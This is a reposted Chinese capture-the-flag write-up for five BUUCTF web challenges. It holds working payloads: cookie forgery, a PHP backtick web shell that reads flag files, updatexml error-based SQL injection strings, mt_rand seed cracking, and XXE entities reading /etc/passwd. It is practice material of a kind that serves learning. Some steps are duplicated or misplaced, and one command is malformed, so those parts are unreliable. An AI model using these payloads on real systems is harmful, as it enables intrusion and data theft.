ToB企服应用市场:ToB评测及商务社交产业平台

标题: BUUCTF-WEB(71-75) [打印本页]

作者: 温锦文欧普厨电及净水器总代理    时间: 2024-6-9 16:00
标题: BUUCTF-WEB(71-75)
[watevrCTF-2019]Cookie Store

打开购买flag那个cookie抓包,有个session值得注意

我们拿去cyberchef解密一下

然后我们试试改一下
  1. {"money": 200, "history": []}
  2. eyJtb25leSI6IDIwMCwgImhpc3RvcnkiOiBbXX0=
复制代码
然后发送

响应包返回了一个session,我们解密一下就得到flag

[红明谷CTF 2021]write_shell

打开就是源码,我们应该往里面存入数据,也就是代码,到时候访问就执行了,

这里我们先看一下路径
  1. ?action=pwd
复制代码
  1. sandbox/4247b8a5da98794f37ad36c75aaa5631/
复制代码
然后就试着写数据,这里发现反引号没有被过滤,而且我们可以利用这个php短标签来写php代码,然后空格被过滤了,我们可以%09绕过一下

所以payload:
  1. ?action=upload&data=<?=`cat%09/f*`?><?=`ls%09/`?>
复制代码
然后访问之前得到的路径

然后查看flag
  1. ?action=upload&data=<?=`cat%09/f*`?><?=`ls%09/`?>
复制代码

[RCTF2015]EasySQL

参考:
upfine的博客 (cnblogs.com)
[RCTF2015]EasySQL_[rctf2015]easysql 1-CSDN博客
先注册,登录进来,发现一个改暗码的

在这里修改暗码也没有任何回显

之后我创了一个用户名为1"的用户,再去任意改个暗码,然后发现报错

然后接下来就是开始报错注入,空格被过滤了,还有/**/由于页面没有什么回显,爆库
  1. 1"||(updatexml(1,concat(0x7e,database(),0x7e),1))#
复制代码

爆表
  1. 1"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1))#
复制代码

爆字段(flag是在users这个表中哦)
  1. 1"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema='web_sqli')&&(table_name='users')),0x7e),1))#
复制代码

导出数据,这里由于updatexml只表现32位,所以并没有表现有用的数据
  1. 1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#
复制代码

然后我想尝试一下substr,mid,right,发现并不可,被过滤了,利用limit会报错,然后看大佬都说正则MySQL 正则表达式(REGEXP)_mysql regexp-CSDN博客,去找到flag所在位置,很牛逼,第一次学到,但是还只是一半
  1. 1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#
复制代码
  1. flag{47ee3230-eaea-4a2a-a4b9-d3
复制代码
然后又学到了这个,还需要利用reverse函数,逆序输出flag,输出后逆转一下
  1. 1"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1))#
复制代码
  1. }dc845c0dc33d-9b4a-a2a4-aeae-03
复制代码
最后拼接完备的flag
  1. flag{47ee3230-eaea-4a2a-a4b9-d33cd0c548cd}
复制代码
[GWCTF 2019]枯燥的抽奖

参考:
[BUUCTF题解][GWCTF 2019]枯燥的抽奖 - Article_kelp - 博客园 (cnblogs.com)
[GWCTF 2019]枯燥的抽奖-CSDN博客
PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户
打开题目说让我猜背面的字符串

然后F12发现了文件check.php

然后就看到源码了

然后了解到这个随机生成的并不是真的随机,是可以根据某些计算算出来的,这个函数是通过一个种子然后去产生一个随机数,我们只需要知道种子就可以破解这个伪随机数
  1. PHP的mt_rand函数作为一个随机数生成工具在程序中被广泛使用,但是大家都忽略了一个事实,mt_rand生成的随机数不是一个真正的随机数,而是一个伪随机数,不能应用于生成安全令牌、核心加解密key等等,所以很多知名程序都出现过对mt_rand函数的错误使用而导致的安全问题。php_mt_seed是一个破解mt_rand函数种子的工具,对它应用场景的深刻理解和应用能极大的提升漏洞发现的可能和利用的成功率。本文将详细介绍PHP mt_rand函数的安全问题及php_mt_seed应用场景。
复制代码
我们背面会用到php_my_seed这个工具,我们先把已知的部分转成这个工具可以识别的格式
  1. str1 ='EJOa9oEmi5'
  2. str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  3. result =''
  4. length = str(len(str2)-1)
  5. for i in range(0,len(str1)):
  6.     for j in range(0,len(str2)):
  7.         if str1[i] ==  str2[j]:
  8.             result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
  9.             break
  10. print(result)
复制代码
  1. 40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61
复制代码
然后下载这个php_my_seed工具,记得是在linux情况下运行的,记得先编译
  1. make time ./php_mt_seed.c 40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61
复制代码
然后我这边没运行起来,我自己编译完又运行了一次
  1. /php_mt_seed 40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61
复制代码

得到种子67026161
拿到种子,去生成完备的这个字符串
  1. <?php
  2. mt_srand(67026161);    //在这里填入获得的种子
  3. $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  4. $str='';
  5. $len1=20;
  6. for ( $i = 0; $i < $len1; $i++ ){
  7.     $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);      
  8. }
  9. echo($str);
复制代码

查看flag(失败版本)
  1. <?php
  2. mt_srand(67026161);    //在这里填入获得的种子
  3. $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  4. $str='';
  5. $len1=20;
  6. for ( $i = 0; $i < $len1; $i++ ){
  7.     $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);      
  8. }
  9. echo($str);
复制代码

看来是没有这个/flag文件,还有一个知识xxe可以内网探测存活的主机,获取/etc/hosts文件,我们分别读取关键文件:/etc/hosts 和 /proc/net/arp:
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE Anything [
  3. <!ENTITY entityex SYSTEM "file:///etc/passwd">
  4. ]>
  5. <user><username>&entityex;</username><password>111</password></user>
复制代码

然后发现了两个ip
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE Anything [
  3. <!ENTITY entityex SYSTEM "file:///flag">
  4. ]>
  5. <user><username>&entityex;</username><password>111</password></user>
复制代码

然后尝试访问了一下,不可,然后C段扫描一下
我这里用脚本还是burp的爆破,都没有出来

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4